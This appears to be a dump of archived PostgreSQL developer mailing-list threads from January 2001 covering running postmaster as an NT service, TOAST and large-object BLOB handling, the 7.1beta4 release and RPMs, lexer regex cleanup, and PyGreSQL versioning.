"msg_contents": "I'm using PostgreSQL on WinNT to support (along with Zope) several\nwebsites. I've currently got postmaster running as an NT service by\nwrapping it with the 'invoker' utility, but I'd prefer to have it run\ndirectly as a service so that it can be stopped cleanly. I now know\nthe basics of how to extend a program to make it run directly as an NT\nservice, as I've enhanced the Cygipc (Cygwin) 'ipc-daemon' process to\ndo just that (and I've submitted the patch to the current maintainer\nof Cygipc). So now I'd like to do the same for postgres/postmaster,\nbut I want you all to vet this plan before I invest much more time.\n\nFor me, the fundamental question is: If I create a patch that\nimplements this function, what will it take to get it into the main\nCVS version? Will some established PostgreSQL developer offer to\nreview/champion/mentor my work?\n\nExpected plan of operation:\n\n1) Administrator runs 'postgres --install-as-service'. Program\n installs NT registry entries and calls Windows APIs to register the\n service, leaving it ready for 'automatic' startup, but not starting\n the service. The ImagePath key value uses exactly the full path\n of the 'postgres' program that did the install. After installing\n the service the program returns immediately.\n\n2) When starting the service from, say, the Services Control Panel,\n postgres is invoked with a new '--service' command-line flag. When\n the postgres program starts running it looks for this option\n right away (much like '-boot') and, finding it, starts up in\n postmaster mode and passes on the --services flag, causing the\n postmaster code to do the necessary magic to start up as an NT\n service. This does not involve any additional forks; the process\n splits into a supervisory thread and a main thread that runs the\n existing main work loop.\n\n3) When the service is stopped, the supervisory service thread sends some\n kind of event/signal/semaphore/... to the main work thread, causing\n that thread to shut down as if 'pg_ctl -m fast stop' had been\n called [is this a good choice?].\n\n4) Administrator runs 'postgres --remove-as-service'. The program\n removes the registry data for the service and calls APIs to\n completely remove the service. It shuts down the service first if\n it's already running. Then it quits.\n\nDesign questions:\n\na) The 'install' and 'remove' code is quite bulky, although simple.\nIs it OK to create a new source file for it, rather than working it\ninto some existing file?\n\nb) How can the service log error messages? Is there any syslog type\nfacility? If not, is it OK to include a new output interface that\nwould log to the NT event log? Or is there some better scheme?\n\nc) What is a good way for the supervisory thread to communicate with\nthe main thread and shut it down cleanly? (I haven't studied the\ncode to find the main wait/select loop yet. Sorry.)\n\nd) How can we insure that the ipc-daemon service starts before the\npostgres/postmaster service? I believe that NT has some facility that\nallows one service to request start-up of another service, but I have\nno idea how to make that happen.\n\nYour feedback on this plan is more than welcome. I'm willing to put\ntime into getting this working, but only if I get some support from you\nall.\n\n-- \nFred Yankowski fred@OntoSys.com tel: +1.630.879.1312\nPrincipal Consultant www.OntoSys.com fax: +1.630.879.1370\nOntoSys, Inc 38W242 Deerpath Rd, Batavia, IL 60510, USA\n",
"msg_date": "Sat, 27 Jan 2001 08:49:46 -0600",
"msg_from": "Fred Yankowski <fred@ontosys.com>",
"msg_from_op": true,
"msg_subject": "plan for running postmaster directly as NT service"
},
{
"msg_contents": "Fred Yankowski <fred@ontosys.com> writes:\n> a) The 'install' and 'remove' code is quite bulky, although simple.\n> Is it OK to create a new source file for it, rather than working it\n> into some existing file?\n\nI think this'd be a lot easier to sell (and probably to implement)\nif the NT-specific stuff is a separate, arm's-length wrapper around\nthe standard Unix version. Possibly you want something that replaces\nsrc/backend/main/main.c in an NT build.\n\n> b) How can the service log error messages? Is there any syslog type\n> facility?\n\nSyslog support exists. There's still a lot of debugging-type code that\nscribbles to stderr, but (at least for a first cut) you could just let\nthat go to the bit bucket.\n\n> c) What is a good way for the supervisory thread to communicate with\n> the main thread and shut it down cleanly?\n\nSend it an appropriate signal, same as pg_ctl does.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 11:03:10 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: plan for running postmaster directly as NT service "
}
] |
[
{
"msg_contents": "> d) How can we insure that the ipc-daemon service starts before the\n> postgres/postmaster service? I believe that NT has some facility that\n> allows one service to request start-up of another service, but I have\n> no idea how to make that happen.\n\nYou can use Service Dependencies for this. In you call to CreateService()\nfor the service, specify a value for the \"lpDependencies\" parameter. This\nparameter holds a pointer to a double null-terminated array of\nnull-separated names of services that this service depends on. The Service\nControl Manager will make sure these services start first, so the\ndependencies are satisfied.\nSo just add the ipc-daemon service there, and the rest should happen\nautomatically.\nSee:\nhttp://msdn.microsoft.com/library/default.asp?URL=/library/psdk/winbase/serv\nices_3p9h.htm\n\n\n//Magnus\n",
"msg_date": "Sat, 27 Jan 2001 16:58:16 +0100",
"msg_from": "Magnus Hagander <mha@sollentuna.net>",
"msg_from_op": true,
"msg_subject": "RE: plan for running postmaster directly as NT service"
}
] |
[
{
"msg_contents": "Applied to CVS. Thanks.\n\n> Bruce Momjian wrote:\n> > \n> > > Constantin Teodorescu wrote:\n> > >\n> > > I'll fix it this weekend!\n> > \n> > OK, let me know if you release a new pgaccess and I will add it to CVS.\n> \n> Bug fixed. Ross patches applied.\n> HTML documentation updated with what's new.\n> \n> Hope it's fine!\n> You'll find attached the 0.98.7.tar.gz file!\n> \n> Best regards,\n> Teo\n\n[ application/x-gzip is not supported, skipping... ]\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 13:34:20 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: PgAccess - small bug?"
}
] |
[
{
"msg_contents": "Hi,\n\nBeeing very impressed by TOAST, I wonder how I can insert BLOB from a flat\nfile.\n\nIt seems quite easy with php; But how can I do it from psql??\n\nTIA\n\n-- \nOlivier PRENANT \tTel:\t+33-5-61-50-97-00 (Work)\nQuartier d'Harraud Turrou +33-5-61-50-97-01 (Fax)\n31190 AUTERIVE +33-6-07-63-80-64 (GSM)\nFRANCE Email: ohp@pyrenet.fr\n------------------------------------------------------------------------------\nMake your life a dream, make your dream a reality. (St Exupery)\n\n",
"msg_date": "Sun, 28 Jan 2001 20:59:20 +0100",
"msg_from": "Olivier PRENANT <ohp@pyrenet.fr>",
"msg_from_op": true,
"msg_subject": "BLOB HOWTO??"
},
{
"msg_contents": "El Dom 28 Ene 2001 16:59, Olivier PRENANT escribi�:\n>\n> Beeing very impressed by TOAST, I wonder how I can insert BLOB from a flat\n> file.\n>\n> It seems quite easy with php; But how can I do it from psql??\n\nI think you mean that it seems easy, because I haven't been able to \nunderstand it (always talking about the php way).\n\nI can't understand how the pg module of php knows where the large object \nshould be inserted. I mean, what if I have 2 large objects in the same \ndatabase (or even in the same table), where is the data inserted? There is no \nplace where someone tells php that the data in this variable should go in \nthis column that is of type blob.\n\nTIA\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Mon, 29 Jan 2001 09:49:19 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "Maybe the functions lo_import and lo_export is what you're looking for?\n\nregards,\nrobert gravsjo\n\nOlivier PRENANT wrote:\n\n> Hi,\n> \n> Beeing very impressed by TOAST, I wonder how I can insert BLOB from a flat\n> file.\n> \n> It seems quite easy with php; But how can I do it from psql??\n> \n> TIA\n> \n\n\n",
"msg_date": "Mon, 29 Jan 2001 17:19:21 +0100",
"msg_from": "robert gravsjo <robert.gravsjo@nsgroup.net>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
}
] |
[
{
"msg_contents": "Hi,\n\nThe FMaps team is about to build ISO19100 support in PG, in particulary\nSpatial Schema and Metadata schema.\n\nThe project is at its early stages, but most of the technical hurdles are\nunderstood, so we are now left with coding the specifications. If you would\nlike to join or are interested, please have a look on\nhttp://FMaps.sourceforge.net/ and inside the src/geoobj directory of the\nCVS. \n\nThe project will build an extension library to PG, which may be included\nlater in main stream PG if everybody find this stuff great.\n\nThanks.\n\nFranck Martin\nNetwork and Database Development Officer\nSOPAC South Pacific Applied Geoscience Commission\nFiji\nE-mail: franck@sopac.org <mailto:franck@sopac.org> \nWeb site: http://www.sopac.org/\n<http://www.sopac.org/> \nSupport FMaps: http://fmaps.sourceforge.net/ <http://fmaps.sourceforge.net/>\n\n\nThis e-mail is intended for its addresses only. Do not forward this e-mail\nwithout approval. The views expressed in this e-mail may not be necessarily\nthe views of SOPAC.\n\n\n",
"msg_date": "Mon, 29 Jan 2001 11:05:40 +1200",
"msg_from": "Franck Martin <Franck@sopac.org>",
"msg_from_op": true,
"msg_subject": "Development of ISO19100 support in PG"
}
] |
[
{
"msg_contents": "\nJust wrap'd it up, if anyone want to take a quick peak ... will announce\nit in the morning, just want to give the mirror sites a little bit of time\nto pull it ...\n\nMarc G. Fournier ICQ#7615664 IRC Nick: Scrappy\nSystems Administrator @ hub.org\nprimary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org\n\n",
"msg_date": "Sun, 28 Jan 2001 23:01:04 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": true,
"msg_subject": "Beta4 available ..."
},
{
"msg_contents": "The Hermit Hacker wrote:\n> Just wrap'd it up, if anyone want to take a quick peak ... will announce\n> it in the morning, just want to give the mirror sites a little bit of time\n> to pull it ...\n\nTalk about timing..... :-)\n\nRPM's shortly. Either tonight or tomorrow night. No changes to any locks\nor sockets, either :-).\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Sun, 28 Jan 2001 23:01:29 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": false,
"msg_subject": "Re: Beta4 available ..."
}
] |
[
{
"msg_contents": "I got a bug report on the PyGreSQL version included with PostgreSQL 7.0.3:\n\n\"version 3.1 pygresql is available and there's also a 3.2 beta. the\npackaged version is 2.4.\"\n\nThe version in 7.1beta3 is only 2.5.\n\n-- \nOliver Elphick Oliver.Elphick@lfix.co.uk\nIsle of Wight http://www.lfix.co.uk/oliver\nPGP: 1024R/32B8FAA1: 97 EA 1D 47 72 3F 28 47 6B 7E 39 CC 56 E4 C1 47\nGPG: 1024D/3E1D0C1C: CA12 09E0 E8D5 8870 5839 932A 614D 4C34 3E1D 0C1C\n ========================================\n \"My son, if sinners entice thee, consent thou not.\" \n Proverbs 1:10 \n\n\n",
"msg_date": "Mon, 29 Jan 2001 06:53:07 +0000",
"msg_from": "\"Oliver Elphick\" <olly@lfix.co.uk>",
"msg_from_op": true,
"msg_subject": "Can PyGreSQL be updated?"
},
{
"msg_contents": "\nIt is 3.1 already. The problem is that Announce says 3.1, while the\nREADME says 2.5. I am CC'ing the author to update it.\n\n> I got a bug report on the PyGreSQL version included with PostgreSQL 7.0.3:\n> \n> \"version 3.1 pygresql is available and there's also a 3.2 beta. the\n> packaged version is 2.4.\"\n> \n> The version in 7.1beta3 is only 2.5.\n\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 11:30:39 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Can PyGreSQL be updated?"
},
{
"msg_contents": "Thus spake Bruce Momjian\n> It is 3.1 already. The problem is that Announce says 3.1, while the\n> README says 2.5. I am CC'ing the author to update it.\n> \n> > I got a bug report on the PyGreSQL version included with PostgreSQL 7.0.3:\n> > \n> > \"version 3.1 pygresql is available and there's also a 3.2 beta. the\n> > packaged version is 2.4.\"\n> > \n> > The version in 7.1beta3 is only 2.5.\n\nYes, I noticed that just after I released it. The current beta says\n3.2 already so that I won't forget this time.\n\n-- \nD'Arcy J.M. Cain <darcy@{druid|vex}.net> | Democracy is three wolves\nhttp://www.druid.net/darcy/ | and a sheep voting on\n+1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner.\n",
"msg_date": "Mon, 29 Jan 2001 22:17:59 -0500 (EST)",
"msg_from": "darcy@druid.net (D'Arcy J.M. Cain)",
"msg_from_op": false,
"msg_subject": "Re: Can PyGreSQL be updated?"
}
] |
[
{
"msg_contents": "Unless Marc makes changes to the beta4 tarball, there will be beta4\nRPM's for you to play with shortly. Actually, they are uploading now\n:-).\n\nftp://ftp.postgresql.org/pub/dev/test-rpms is the place.....\n\nIf changes are made, I'll rebuild as soon as I find out (probably 18\nhours or so from now).\n-----\nRPM changes since beta3:\n1.)\t/usr/share/postgresql, /etc/postgresql, and /usr/include/postgresql\nchanged back to pgsql, to match /var/lib/pgsql (which is not at all\nlikely to change).\n2.)\tNow rebuilds without having to have the -devel rpm installed. :-0\n3.)\tMore documentation in html under the docdir\n(/usr/doc/postgresql-7.1beta4 on redhat 6.2).\n4.)\tRegression test dirs now have right ownership.\n\nStill to be done:\nREADME.rpm-dist updates.\nFull upgrade testing.\n-lib split.\n-contrib subpackage.\nothers that I have forgotten at this point in the night.....\n\nRegression may be run by installing at least the main package, the\nserver subpackage, and the test subpackage. Then, start the postmaster\n(/etc/rc.d/init.d/postgresql start), which will initdb if needed, su to\npostgres, cd to /usr/share/pgsql/test/regress, and execute:\n./pg_regress --schedule=parallel_schedule\n\nRPMs passed regression (except for locale errors) on my RedHat 6.2 devel\nmachine.\n\nI have changed the absolute minimum from beta3-2. Please let me know\nany problems you find!\n\nI am for now leaving the 7.1beta3-2 RPMset up.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Mon, 29 Jan 2001 02:35:00 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": true,
"msg_subject": "7.1beta4 RPMs."
},
{
"msg_contents": "Lamar Owen wrote:\n> ftp://ftp.postgresql.org/pub/dev/test-rpms is the place.....\n\nOne note: for whatever reason the date on the uploaded RPM's has the\nwrong year -- but the timestamp on my local copy has the correct date. \nIn any case, ignore the datestamp on those RPM's -- there were _not_\nbuilt a year ago on Sat, January 29, 2000.\n\nBut, they _are_ up for your RPM'ing pleasure. Please try to rebuild\nfrom source on whatever machine you have -- te more reports, the better\nthe RPM.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Mon, 29 Jan 2001 02:50:03 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": true,
"msg_subject": "Re: 7.1beta4 RPMs."
},
{
"msg_contents": "On 29 Jan 2001 at 02:50 (-0500), Lamar Owen wrote:\n| Lamar Owen wrote:\n| > ftp://ftp.postgresql.org/pub/dev/test-rpms is the place.....\n| \n| One note: for whatever reason the date on the uploaded RPM's has the\n| wrong year -- but the timestamp on my local copy has the correct date. \n| In any case, ignore the datestamp on those RPM's -- there were _not_\n| built a year ago on Sat, January 29, 2000.\n\nyeah, right ;)\n\ncomment on the rpms:\n 1) could you modify the init script, specifically the initdb command,\n to use the assigned $PGDATA. I have an environment where the\n main database must be installed to a different location than\n /var/lib/pgsql(/data)?. the suggested line is below.\n\n su -l postgres -c \"/usr/bin/initdb -D $PGDATA\" > /dev/null\n\n also, the original had a little typo: '< /dev/null'\n\notherwise, my experience with the rpms has been pretty good :) Thanks\nfor your effort.\n\n brent\n\n-- \n\"We want to help, but we wouldn't want to deprive you of a valuable \nlearning experience.\"\n http://openbsd.org/mail.html\n",
"msg_date": "Wed, 7 Feb 2001 08:12:42 -0500",
"msg_from": "Brent Verner <brent@rcfile.org>",
"msg_from_op": false,
"msg_subject": "Re: 7.1beta4 RPMs."
}
] |
[
{
"msg_contents": "In scan.l, there is:\n\ndecimal (({digit}*\\.{digit}+)|({digit}+\\.{digit}*))\nreal \n((({digit}*\\.{digit}+)|({digit}+\\.{digit}*)|({digit}+))([Ee][-+]?{digit}+))\n\nCould this be simplified as:\n\ndecimal (({integer}?\\.{integer})|({integer}\\.{integer}?))\nreal ((({decimal})|({integer}))([Ee][-+]?{integer}))\n\nWhat is the reason if it shouldn't be? This is just an educational question, \nI guess. I wouldn't want to waste time writing bad patches. :) I ran regress \nwith this change and it looked ok.\n\nOne reason I can think of right now, is that if the definition of integer or \ndecimal were to change, it might break decimal and real. Another reason \nmight be a performance loss?\n\n-- \n-------- Robert B. Easter reaster@comptechnews.com ---------\n-- CompTechNews Message Board http://www.comptechnews.com/ --\n-- CompTechServ Tech Services http://www.comptechserv.com/ --\n---------- http://www.comptechnews.com/~reaster/ ------------\n",
"msg_date": "Mon, 29 Jan 2001 02:36:06 -0500",
"msg_from": "\"Robert B. Easter\" <reaster@comptechnews.com>",
"msg_from_op": true,
"msg_subject": "scan.l simplifications"
},
{
"msg_contents": "\"Robert B. Easter\" <reaster@comptechnews.com> writes:\n> In scan.l, there is:\n> decimal (({digit}*\\.{digit}+)|({digit}+\\.{digit}*))\n> real \n> ((({digit}*\\.{digit}+)|({digit}+\\.{digit}*)|({digit}+))([Ee][-+]?{digit}+))\n\n> Could this be simplified as:\n\n> decimal (({integer}?\\.{integer})|({integer}\\.{integer}?))\n> real ((({decimal})|({integer}))([Ee][-+]?{integer}))\n\nI think it's better style as it stands. The latter might be fewer\ncharacters but it's not easier to understand (IMHO anyway), because\nyou have to refer back to more nonterminals to decipher it, and said\nnonterminals have meanings much more complicated than digit.\n\nAlso, as you noted, it'd link the definitions of integer/decimal/real\nin ways that might cause trouble later.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 10:03:40 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: scan.l simplifications "
}
] |
[
{
"msg_contents": "Hi Bruce,\n\nAny idea when it's due for??\nI've been thining about writing a user function; But I'll get stuck with\npermission as a user function is running under the \"postgres\" or whatever\nuser instead of the calling user.\n\nAlso, what kind of binary interface are you thinking of??\n\nRegards,\n On Sun, 28 Jan 2001, Bruce Momjian wrote:\n\n> No way. We haven't written a binary interface to TOAST yet.\n> \n> > Hi,\n> > \n> > Beeing very impressed by TOAST, I wonder how I can insert BLOB from a flat\n> > file.\n> > \n> > It seems quite easy with php; But how can I do it from psql??\n> > \n> > TIA\n> > \n> > -- \n> > Olivier PRENANT \tTel:\t+33-5-61-50-97-00 (Work)\n> > Quartier d'Harraud Turrou +33-5-61-50-97-01 (Fax)\n> > 31190 AUTERIVE +33-6-07-63-80-64 (GSM)\n> > FRANCE Email: ohp@pyrenet.fr\n> > ------------------------------------------------------------------------------\n> > Make your life a dream, make your dream a reality. (St Exupery)\n> > \n> > \n> \n> \n> \n\n-- \nOlivier PRENANT \tTel:\t+33-5-61-50-97-00 (Work)\nQuartier d'Harraud Turrou +33-5-61-50-97-01 (Fax)\n31190 AUTERIVE +33-6-07-63-80-64 (GSM)\nFRANCE Email: ohp@pyrenet.fr\n------------------------------------------------------------------------------\nMake your life a dream, make your dream a reality. (St Exupery)\n\n",
"msg_date": "Mon, 29 Jan 2001 12:17:02 +0100 (MET)",
"msg_from": "Olivier PRENANT <ohp@pyrenet.fr>",
"msg_from_op": true,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "> Hi Bruce,\n> \n> Any idea when it's due for??\n> I've been thining about writing a user function; But I'll get stuck with\n> permission as a user function is running under the \"postgres\" or whatever\n> user instead of the calling user.\n> \n> Also, what kind of binary interface are you thinking of??\n\nLack of large object support for new TOAST columns is going to be a big\n7.1 complaint. I was thinking of using the same functions as our large\nobject stuff, but remove the OID requirement.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 11:36:44 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "> Hi Bruce,\n> \n> Any idea when it's due for??\n\nWhen? Probably not until 7.2, which is a pain.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 11:37:19 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "Bruce,\n\nThanks for replying (I know you're a busy man :)\n\nAny chance to have it backported to 7.1 or maybe in contrib???\n\nThis is a feature w all gonna lack (with GiST...)\n\nRegards,\nOn Mon, 29 Jan 2001, Bruce Momjian wrote:\n\n> > Hi Bruce,\n> > \n> > Any idea when it's due for??\n> > I've been thining about writing a user function; But I'll get stuck with\n> > permission as a user function is running under the \"postgres\" or whatever\n> > user instead of the calling user.\n> > \n> > Also, what kind of binary interface are you thinking of??\n> \n> Lack of large object support for new TOAST columns is going to be a big\n> 7.1 complaint. I was thinking of using the same functions as our large\n> object stuff, but remove the OID requirement.\n> \n> \n\n-- \nOlivier PRENANT \tTel:\t+33-5-61-50-97-00 (Work)\nQuartier d'Harraud Turrou +33-5-61-50-97-01 (Fax)\n31190 AUTERIVE +33-6-07-63-80-64 (GSM)\nFRANCE Email: ohp@pyrenet.fr\n------------------------------------------------------------------------------\nMake your life a dream, make your dream a reality. (St Exupery)\n\n",
"msg_date": "Mon, 29 Jan 2001 18:32:55 +0100 (MET)",
"msg_from": "Olivier PRENANT <ohp@pyrenet.fr>",
"msg_from_op": true,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "\nI would LOVE to see it in a minor 7.1.X release.\n\n\n> Bruce,\n> \n> Thanks for replying (I know you're a busy man :)\n> \n> Any chance to have it backported to 7.1 or maybe in contrib???\n> \n> This is a feature w all gonna lack (with GiST...)\n\n> \n> Regards,\n> On Mon, 29 Jan 2001, Bruce Momjian wrote:\n> \n> > > Hi Bruce,\n> > > \n> > > Any idea when it's due for??\n> > > I've been thining about writing a user function; But I'll get stuck with\n> > > permission as a user function is running under the \"postgres\" or whatever\n> > > user instead of the calling user.\n> > > \n> > > Also, what kind of binary interface are you thinking of??\n> > \n> > Lack of large object support for new TOAST columns is going to be a big\n> > 7.1 complaint. I was thinking of using the same functions as our large\n> > object stuff, but remove the OID requirement.\n> > \n> > \n> \n> -- \n> Olivier PRENANT \tTel:\t+33-5-61-50-97-00 (Work)\n> Quartier d'Harraud Turrou +33-5-61-50-97-01 (Fax)\n> 31190 AUTERIVE +33-6-07-63-80-64 (GSM)\n> FRANCE Email: ohp@pyrenet.fr\n> ------------------------------------------------------------------------------\n> Make your life a dream, make your dream a reality. (St Exupery)\n> \n> \n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 12:42:28 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "Bruce Momjian wrote:\n> > Hi Bruce,\n> >\n> > Any idea when it's due for??\n>\n> When? Probably not until 7.2, which is a pain.\n\n We cannot use TOAST as is for BLOB/CLOB storage with a binary\n IO interface over fastpath.\n\n The reason is that you cannot force a column to be moved off\n anyway and that the toast reference contains the original\n objects size. Thus, opening a BLOB for writing would require\n the reference in the main tuple to get updated and maybe\n moving off the data first.\n\n My plans for 7.2 are to use the toast table for storage, but\n to build new data types with support hooks in the toaster for\n it.\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 13:10:37 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "Bruce Momjian wrote:\n>\n> I would LOVE to see it in a minor 7.1.X release.\n\n It's *feature* with alot necessary coding in core\n functionality below heap access methods. Not a good candidate\n for a bugfix release.\n\n\nJan\n\n>\n>\n> > Bruce,\n> >\n> > Thanks for replying (I know you're a busy man :)\n> >\n> > Any chance to have it backported to 7.1 or maybe in contrib???\n> >\n> > This is a feature w all gonna lack (with GiST...)\n>\n> >\n> > Regards,\n> > On Mon, 29 Jan 2001, Bruce Momjian wrote:\n> >\n> > > > Hi Bruce,\n> > > >\n> > > > Any idea when it's due for??\n> > > > I've been thining about writing a user function; But I'll get stuck with\n> > > > permission as a user function is running under the \"postgres\" or whatever\n> > > > user instead of the calling user.\n> > > >\n> > > > Also, what kind of binary interface are you thinking of??\n> > >\n> > > Lack of large object support for new TOAST columns is going to be a big\n> > > 7.1 complaint. I was thinking of using the same functions as our large\n> > > object stuff, but remove the OID requirement.\n> > >\n> > >\n> >\n> > --\n> > Olivier PRENANT Tel: +33-5-61-50-97-00 (Work)\n> > Quartier d'Harraud Turrou +33-5-61-50-97-01 (Fax)\n> > 31190 AUTERIVE +33-6-07-63-80-64 (GSM)\n> > FRANCE Email: ohp@pyrenet.fr\n> > ------------------------------------------------------------------------------\n> > Make your life a dream, make your dream a reality. (St Exupery)\n> >\n> >\n>\n> --\n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n>\n\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 13:12:47 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": false,
"msg_subject": "Re: [SQL] Re: BLOB HOWTO??"
},
{
"msg_contents": "Olivier PRENANT wrote:\n> Hi Bruce,\n>\n> Any idea when it's due for??\n> I've been thining about writing a user function; But I'll get stuck with\n> permission as a user function is running under the \"postgres\" or whatever\n> user instead of the calling user.\n>\n> Also, what kind of binary interface are you thinking of??\n\n Something similar to the existing lo_...() functions.\n\n Actually, someone should use the existing large objects to\n deal with binary content. What has to be kept in mind is\n\n 1. You have to cleanup yourself - the existing large objects\n aren't removed automatically if you delete a table row\n referencing to the LO or drop the table.\n\n 2. The existing LOs don't have copy behaviour. So if you\n reference to a LO from one table and do an INSERT ...\n SELECT, just it's OID is copied, not the data (as it\n should be IMHO).\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 14:14:41 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
},
{
"msg_contents": "I'm interested by TOAST, and I have asked several questions on the subject...\nI haven't tested them yet...\n\nFirst I thought that the type bytea allows storing of binary data, a BSOB\n(Binary Small OBject).\nSecondly that by using a binary cursor you have access to the raw data as it\nis stored in the database, but not as it is presented in ASCII\nThridly we could use a funtion to retreive parts of columns, something like\nmid(column,start,length)\nFourthly we may use the same function for storing data back.\n\nCheers...\nFranck@sopac.org\n\nJan Wieck wrote:\n\n> Olivier PRENANT wrote:\n> > Hi Bruce,\n> >\n> > Any idea when it's due for??\n> > I've been thining about writing a user function; But I'll get stuck with\n> > permission as a user function is running under the \"postgres\" or whatever\n> > user instead of the calling user.\n> >\n> > Also, what kind of binary interface are you thinking of??\n>\n> Something similar to the existing lo_...() functions.\n>\n> Actually, someone should use the existing large objects to\n> deal with binary content. What has to be kept in mind is\n>\n> 1. You have to cleanup yourself - the existing large objects\n> aren't removed automatically if you delete a table row\n> referencing to the LO or drop the table.\n>\n> 2. The existing LOs don't have copy behaviour. So if you\n> reference to a LO from one table and do an INSERT ...\n> SELECT, just it's OID is copied, not the data (as it\n> should be IMHO).\n>\n> Jan\n>\n> --\n>\n> #======================================================================#\n> # It's easier to get forgiveness for being wrong than for being right. #\n> # Let's break this rule - forgive me. #\n> #================================================== JanWieck@Yahoo.com #\n>\n> _________________________________________________________\n> Do You Yahoo!?\n> Get your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Tue, 30 Jan 2001 22:50:15 +1300",
"msg_from": "Franck Martin <franck@sopac.org>",
"msg_from_op": false,
"msg_subject": "Re: BLOB HOWTO??"
}
] |
[
{
